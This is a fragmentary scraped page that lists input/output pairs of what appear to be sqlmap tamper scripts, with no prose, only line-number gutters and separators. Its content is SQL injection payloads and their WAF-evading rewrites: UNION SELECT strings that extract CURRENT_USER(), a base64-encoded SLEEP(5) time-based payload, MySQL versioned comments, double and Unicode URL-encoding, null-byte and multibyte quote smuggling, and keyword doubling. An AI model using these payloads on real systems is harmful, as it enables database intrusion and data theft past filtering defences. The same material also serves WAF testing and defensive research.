1
2
|
("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
|
1
2
|
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
|
1
2
|
('1 AND 9227=9227')
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
|
1
2
|
('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
|
1
2
|
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
1
2
|
tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
|
1
2
|
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
|
1
2
|
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
1
2
|
('1 AND 1=1')
'1 AND 1=1%00'
|
1
2
|
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
|
1
2
|
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
|
1
2
|
("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
|
1
2
|
('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
|
1
2
|
('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
|
1
2
|
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
|
1
2
3
4
5
6
|
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# - A0 - (MySQL only)
|
1
2
|
('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
|
1
2
|
('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
|
1
2
|
('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
|
1
2
|
('1 UNION SELECT foobar')
'1 UNION SELECT foobar'
|
1
2
|
('SELECT id FROM users')
'SELECT+id+FROM+users'
|
1
2
|
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
|
1
2
|
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
|
1
2
|
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
|
1
2
|
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
|
1
2
|
('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
|
1
2
|
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
|
1
2
|
('-1 UNION ALL SELECT')
'-1 UNION SELECT'
|
1
2
|
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
|
1
2
|
* Input: INSERT
* Output: InsERt
|
1
2
|
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
|
1
|
‘
INSERT’ becomes ‘IN//S//ERT’
|
1
2
|
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
|
1
2
|
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
|
Requirement:
1
2
|
('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
|
1
2
|
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
|
1
2
|
* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
|
1
2
|
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
|